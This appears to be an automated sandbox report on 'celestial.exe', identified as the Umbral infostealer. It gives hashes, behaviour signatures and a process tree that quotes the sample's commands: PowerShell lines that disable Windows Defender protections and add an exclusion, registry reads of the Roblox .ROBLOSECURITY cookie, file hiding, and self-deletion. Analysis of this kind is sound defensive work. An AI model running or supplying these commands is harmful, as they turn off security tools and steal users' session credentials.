Analysis

  • max time kernel
    21s
  • max time network
    23s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2023 03:51

General

  • Target

    celestial.exe

  • Size

    229KB

  • MD5

    d57ec258aaffb601a3594f9ac3a44b6d

  • SHA1

    c4b592284058deda8356b1a66e80903ddbd00f1f

  • SHA256

    de34cde65aade458fe105a3d66395848e4102a0d179d16e72d1538069faee469

  • SHA512

    300cae33a20e9d17c2211ee88867b1395ee094eb34f0e25143914935bb0148a60f9f3f89e7184dd2c83cc5b74871edce617ee51c26320e1b61811c83a0400c2a

  • SSDEEP

    6144:tloZMJrIkd8g+EtXHkv/iD4cME/EKtFuKr20VJg8qb8e1mQei:voZKL+EP8cME/EKtFuKr20VJgD3

Score
10/10

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 35 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\celestial.exe
    "C:\Users\Admin\AppData\Local\Temp\celestial.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\celestial.exe"
      2⤵
      • Views/modifies file attributes
      PID:3944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\celestial.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1420
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4620
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3800
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:3724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1804
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1636
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\celestial.exe" && pause
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3528
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • Runs ping.exe
          PID:1532
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3192

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      92382908106bf04aac6575ae0e55073f

      SHA1

      b164dd606b60ada42fe843963f95e14e92d5d86a

      SHA256

      1332dc373efa610424b48ae9955247275f4f94cfeecec93a5121784ed8d6b3db

      SHA512

      d6ee3e3776f683b2a4eaf4fd92e2cd2b9412d85fb57556130d8cabf52e180fb17b5dcdfec9ccd0b3b80bed2816c0bd2d25de35580b859e7799b7cb61071edb3f

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      cb3a799921d48256ab45414af88b0aa8

      SHA1

      8888fb5656f5f11576c0fbc3ba45d7df56000d28

      SHA256

      5ad60a0e324106c6b5a8a7c41b4eac83234ed53cf26025dd4d63c0750b265105

      SHA512

      21b53b49d0f95cb600444b15a274c31d9374ae96dc2ab464e6ada96bae11f1000e92f6f51f62e5b91891dbbb30e6ab9c71006a9a166b8d4ae24457dcd7efdf69

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      28ef595a6cc9f47b8eccb22d4ed50d6c

      SHA1

      4335de707324b15eba79017938c3da2752d3eea5

      SHA256

      3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

      SHA512

      687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      d3235ed022a42ec4338123ab87144afa

      SHA1

      5058608bc0deb720a585a2304a8f7cf63a50a315

      SHA256

      10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

      SHA512

      236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vtlkhghc.gx1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1204-34-0x0000019ADDDC0000-0x0000019ADDDD0000-memory.dmp

      Filesize

      64KB

    • memory/1204-21-0x0000019ADDDC0000-0x0000019ADDDD0000-memory.dmp

      Filesize

      64KB

    • memory/1204-37-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1204-22-0x0000019ADDDC0000-0x0000019ADDDD0000-memory.dmp

      Filesize

      64KB

    • memory/1204-20-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1420-85-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1420-83-0x0000021D6F570000-0x0000021D6F580000-memory.dmp

      Filesize

      64KB

    • memory/1420-72-0x0000021D6F570000-0x0000021D6F580000-memory.dmp

      Filesize

      64KB

    • memory/1420-70-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1420-71-0x0000021D6F570000-0x0000021D6F580000-memory.dmp

      Filesize

      64KB

    • memory/1452-14-0x0000015CF3680000-0x0000015CF36A2000-memory.dmp

      Filesize

      136KB

    • memory/1452-3-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1452-4-0x0000015CF3600000-0x0000015CF3610000-memory.dmp

      Filesize

      64KB

    • memory/1452-15-0x0000015CF3600000-0x0000015CF3610000-memory.dmp

      Filesize

      64KB

    • memory/1452-18-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1804-99-0x000001EE4A110000-0x000001EE4A120000-memory.dmp

      Filesize

      64KB

    • memory/1804-98-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1804-104-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/1804-100-0x000001EE4A110000-0x000001EE4A120000-memory.dmp

      Filesize

      64KB

    • memory/1804-102-0x000001EE4A110000-0x000001EE4A120000-memory.dmp

      Filesize

      64KB

    • memory/3020-1-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/3020-41-0x000002192C8C0000-0x000002192C910000-memory.dmp

      Filesize

      320KB

    • memory/3020-40-0x000002192C920000-0x000002192C996000-memory.dmp

      Filesize

      472KB

    • memory/3020-35-0x0000021945300000-0x0000021945310000-memory.dmp

      Filesize

      64KB

    • memory/3020-33-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/3020-2-0x0000021945300000-0x0000021945310000-memory.dmp

      Filesize

      64KB

    • memory/3020-86-0x000002192C9B0000-0x000002192C9BA000-memory.dmp

      Filesize

      40KB

    • memory/3020-87-0x000002192C9E0000-0x000002192C9F2000-memory.dmp

      Filesize

      72KB

    • memory/3020-42-0x000002192C890000-0x000002192C8AE000-memory.dmp

      Filesize

      120KB

    • memory/3020-0-0x000002192AC10000-0x000002192AC50000-memory.dmp

      Filesize

      256KB

    • memory/3020-121-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/3192-114-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-113-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-118-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-106-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-107-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-108-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-112-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-117-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-116-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/3192-115-0x000001B9E5E60000-0x000001B9E5E61000-memory.dmp

      Filesize

      4KB

    • memory/4828-69-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/4828-43-0x00007FFA8F8A0000-0x00007FFA90361000-memory.dmp

      Filesize

      10.8MB

    • memory/4828-45-0x000001F0C6680000-0x000001F0C6690000-memory.dmp

      Filesize

      64KB

    • memory/4828-44-0x000001F0C6680000-0x000001F0C6690000-memory.dmp

      Filesize

      64KB